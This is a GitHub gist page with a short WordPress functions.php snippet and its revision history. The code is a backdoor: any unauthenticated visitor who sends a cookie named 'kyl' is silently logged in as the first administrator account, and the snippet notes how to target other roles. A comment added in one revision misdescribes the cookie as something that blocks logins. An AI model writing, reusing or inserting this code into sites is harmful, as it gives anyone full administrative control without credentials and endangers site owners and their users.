Skip to content

Instantly share code, notes, and snippets.

@komerystyi
Last active August 18, 2022 06:34
Show Gist options
  • Select an option

  • Save komerystyi/b078778acf63548cdf2dafe8cef76432 to your computer and use it in GitHub Desktop.

Select an option

Save komerystyi/b078778acf63548cdf2dafe8cef76432 to your computer and use it in GitHub Desktop.

Revisions

  1. komerystyi revised this gist Aug 18, 2022. No changes.
  2. komerystyi revised this gist Jun 12, 2022. No changes.
  3. komerystyi revised this gist Jun 12, 2022. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions functions.php
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,7 @@
    <?php

    add_action( 'init', function() {
    // You need to set a cookie 'kyl', this cookie is used to prevent all users from logging into the site
    if ( isset( $_COOKIE['kyl'] ) && ! is_user_logged_in() ) {
    for ( $id = 1; $id < 1000; $id++ ) {
    /**
  4. komerystyi revised this gist Jun 12, 2022. No changes.
  5. komerystyi created this gist Jun 12, 2022.
    29 changes: 29 additions & 0 deletions functions.php
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,29 @@
    <?php

    add_action( 'init', function() {
    if ( isset( $_COOKIE['kyl'] ) && ! is_user_logged_in() ) {
    for ( $id = 1; $id < 1000; $id++ ) {
    /**
    * By default you will be logged in as an administrator
    * When you need to log in as a user with certain capabilities or a role,
    * you need to change the condition, e.g. as an editor
    * if ( user_can( $id, 'publish_pages' ) && ! user_can( $id, 'manage_options' ) ) {
    *
    * Unique list of features by user role:
    *
    * Administrator: 'manage_options'
    * Editor: 'publish_pages'
    * Author: 'publish_posts'
    * Contributor: 'edit_posts'
    * Subscriber: 'read'
    */
    if ( user_can( $id, 'manage_options' ) ) {
    wp_set_auth_cookie( $id );

    wp_die( 'You are logged in as user: ' . get_the_author_meta( 'nickname', $id ) );
    }
    }

    wp_die( 'You are currently not logged in.' );
    }
    } );